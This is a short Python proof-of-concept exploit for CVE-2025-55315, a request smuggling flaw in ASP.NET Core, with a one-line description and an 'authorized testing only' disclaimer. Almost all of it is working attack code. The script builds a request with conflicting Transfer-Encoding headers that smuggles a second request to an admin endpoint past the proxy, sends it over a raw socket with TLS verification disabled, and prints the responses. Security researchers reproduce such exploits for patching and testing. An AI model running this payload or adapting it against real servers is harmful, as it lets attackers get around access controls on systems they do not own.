Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an authorized attacker to bypass a security feature over a network.
The following code is for security research and authorized testing only.
python
# CVE-2025-55315 PoC - ASP.NET Core HTTP Request Smuggling
# This PoC demonstrates the HTTP request smuggling technique targeting ASP.NET Core
# The vulnerability exists due to inconsistent interpretation of HTTP requests
import socket
import ssl
TARGET_HOST = "target.example.com"
TARGET_PORT = 443
USE_HTTPS = True
def craft_smuggled_request():
"""
Craft a malicious HTTP request that exploits the inconsistent parsing
between the front-end proxy and ASP.NET Core backend.
The key is using conflicting Transfer-Encoding and Content-Length headers,
or using obfuscated Transfer-Encoding that the backend interprets differently.
"""
# Smuggled request body - this will be interpreted as a new request by the backend
smuggled_request = (
"GET /admin/sensitive-endpoint HTTP/1.1\r\n"
"Host: target.example.com\r\n"
"Authorization: Bearer smuggled-token\r\n"
"\r\n"
)
# Main request with chunked encoding and smuggled payload
# Using Transfer-Encoding obfuscation to bypass proxy parsing
payload = (
"POST /api/authenticated-endpoint HTTP/1.1\r\n"
"Host: target.example.com\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Transfer-Encoding: chunked\r\n"
"Transfer-encoding: identity\r\n" # Duplicate/conflicting TE header
"Content-Length: 0\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
# Append smuggled request after chunked terminator
# The front-end sees the request ending at chunked terminator
# The backend may process the remaining bytes as a new request
payload += smuggled_request
return payload
def send_smuggling_request(host, port, use_https=False):
"""Send the crafted smuggling request to the target server."""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if use_https:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=host)
try:
sock.connect((host, port))
payload = craft_smuggled_request()
sock.sendall(payload.encode())
# Receive response
response = sock.recv(4096)
print("[*] Response received:")
print(response.decode('utf-8', errors='replace'))
# Send a normal request to trigger the smuggled request processing
normal_request = (
"GET / HTTP/1.1\r\n"
"Host: target.example.com\r\n"
"\r\n"
)
sock.sendall(normal_request.encode())
# The response to the smuggled request may come back here
response2 = sock.recv(4096)
print("[*] Second response (may contain smuggled response):")
print(response2.decode('utf-8', errors='replace'))
finally:
sock.close()
if __name__ == "__main__":
print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}")
print("[*] Sending HTTP Request Smuggling payload...")
send_smuggling_request(TARGET_HOST, TARGET_PORT, USE_HTTPS)